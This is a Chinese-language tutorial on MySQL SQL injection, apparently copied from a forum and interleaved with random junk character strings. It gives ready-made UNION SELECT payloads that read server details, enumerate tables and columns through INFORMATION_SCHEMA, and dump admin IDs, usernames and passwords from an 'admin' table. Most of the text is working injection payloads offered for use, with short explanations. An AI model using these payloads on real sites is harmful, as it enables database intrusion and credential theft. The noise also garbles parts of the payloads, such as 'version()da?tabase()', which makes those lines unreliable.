本文介绍MYSQL盲注的一些语句和方法
3 i5 }1 O- C' M3 j5 Y! x7 n8 w; F0 Y w! E
学习盲注前先了解下 IFORMATION_SCHEMA 库: ?7 w2 T0 F5 v! s
& d/ \6 L: [: Y- U* n) dMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有. L+ E5 d! [& I, f
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
! I( @3 K7 @* m2 w9 k# E+ r1.得到所有数据库名:9 I5 y3 ~ u8 d
|SCHEMATA ->存储数据库名的表# Q8 q* U0 V+ x# Y4 A
|---字段:SCHEMA_NAME ->数据库名称3 s0 a; X1 u, w% Q; x# ^$ w3 v
( O/ i3 @1 p; i1 n, M$ t|TABLES ->存储表名
' w$ t+ P A/ y6 k|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名% M! T4 D) d y7 X& A( ^5 g
|---字段:TABLE_NAME ->存储表的表名
( ^/ J$ c8 _6 u% H; f' X2 W
. A5 `6 ?+ o. U1 z% ]+ d- X+ i|COLUMNS ->存储的字段名表# S8 j& q6 a# r7 ]( Y$ S" _
|---字段:TABLE_SCHEMA ->该字段所属数据库名
# H/ r+ N5 |5 ^& p: u# u2 O6 u|---字段:TABLE_NAME ->存储所属表的名称, w7 s# X' |1 a" b$ I
! M* a5 i1 j s/ a. ~( e& T
|---字段:COLUMN_NAME ->该字段的名称
3 W+ F% r# k# m. u
; r% {+ ]1 N) V% }' K + o# U# k4 J' Z; q& Y
; [$ B, i6 |' U2 a: ?
###########################################################################
9 |; I }1 C& a. g2 J; X: \. G0 w, c; r) G6 }
0x001 获取系统信息:
@1 V8 Y7 X5 P$ z+ o7 W k. v5 u+ z! J% X# M2 j3 w5 l" s
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*$ E4 s9 W- C5 N% V
( F a Y: Z9 x* f, U' ^
/*
, V/ U8 x2 j( v8 M
8 C d% h+ B' k' y8 z: `5 n* X@@global.version_compile_os 获取系统版本
+ ?4 `/ t( l, d, B, o+ v- ~/ G2 Q. r X$ a8 X( a
@@datadir 数据库路径
, }9 j, A+ E# H" i$ Idatabase() 当前数据库名称) ]+ _9 J, H% W) ?
0x3c62723e 换行HEX值! f t0 Z" I* L/ y3 K) l
7 V$ n; r7 o; V: a*/! c' h* X2 u: f3 f1 b% W
) a' e" m' @5 ?, H/ b
/ M, M* v; p. B* P5 `; ~7 ]. E- _6 P J, ~. ^, \5 i
######################################################################
6 m0 O8 D& z" [7 h5 T: {1 C
4 N0 H5 w; \ l R# l0x002 获取表名
0 G) A; ~! S1 N& \2 E3 L0 B" T" m5 W$ v3 u
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
5 J' E6 U$ X0 a, w+ j0 r5 K6 W! Z7 u
( F+ w4 }7 u- f# c! T
% u& i u8 i X% I" @8 G4 e' F. O7 O# u
/*3 Z" P% N0 J/ u" k# W5 k2 B: E. ~
8 X. z# _0 _$ p3 l! I1 D& T/ g0x67617264656e 为当前数据库名
9 A' v7 A8 V. u3 \8 Y, N% |. B4 Y4 C4 E6 y. r4 G: H+ F7 W
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
9 |: ^0 m8 w# U" d, `8 q5 f% ^
* S! t, D% | B0 x+ O f*/
) Z4 @# t* n+ C; ?/ J6 s7 b8 W j* o; J7 A* d6 W0 K. o
######################################################################
" q; ]$ i( g6 o
5 Z4 ^3 j1 |) O% H" g 5 H6 v' C+ }1 ~
) D& u4 m# D4 ?" a
0x003 获取字段3 p) J- Z. _6 D: p) q, Y Q
! o' e3 L: H$ R9 I- Hunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /* v1 A$ e. ]* V4 L O/ h
# j( G9 i3 X# s4 I% h) g, C
/*
$ l- L2 ]/ ?& D" q+ d# I
" d m( X0 K: c: `9 X3 i6 ugroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段0 I$ R$ q- Y5 J# R( y
" R1 j( G( n9 I! I: P; m
0x61646d696e ->选择一个表/ P8 I; N* Q; y& k7 z- v% J n
# o" e% [# S' d0x67617264656e ->数据库名1 E C g6 z# C8 E
/ f7 z: `( v+ A2 @# b$ U7 {*/
! i, u# Y. ]9 Z3 [! `" o |7 ]- N2 O) _2 W3 R' T
#####################################################################
! J- t; Y8 i; d5 ]4 w8 ?# L1 I/ a# W; m8 y. L- n2 e( |
G1 q* [7 @9 i5 `3 W# P7 X
& N- L7 J5 O( v& {2 p4 G0x004 获取数据
~) v+ q& G' [ v5 u2 h. \
+ H% b8 v! o: j) T4 B8 x- Sunion select 1,2,35 `# J, m7 ~) A; t- q
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
2 V+ z3 w. N1 U. p) U2 q2 G
* O5 W: M9 `- Z; Vunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin! `8 D. V3 p, w
% t' D2 I) } e i* `
6 l: v& o* P1 P4 F
( f3 P/ L! U2 a- I2 X2 H/ [7 y. P
/*
% ~# j6 z& ~ Y9 `/ |. Z& J. f+ `1 D4 w2 r- }
0x3c62723e 换行符号HEX编码
+ K8 f% ]; h* x1 Y' d) E% F6 Y; N6 r7 m! F! U/ q( t/ x7 _+ ?
group_concat 同时获得该字段所有数据- E r9 j) G$ A0 w+ {
, v, C' {1 M& A3 x# ~*/
5 Y; x' |9 z( _/ T
2 r& D3 E( n6 b% Z+ V' o |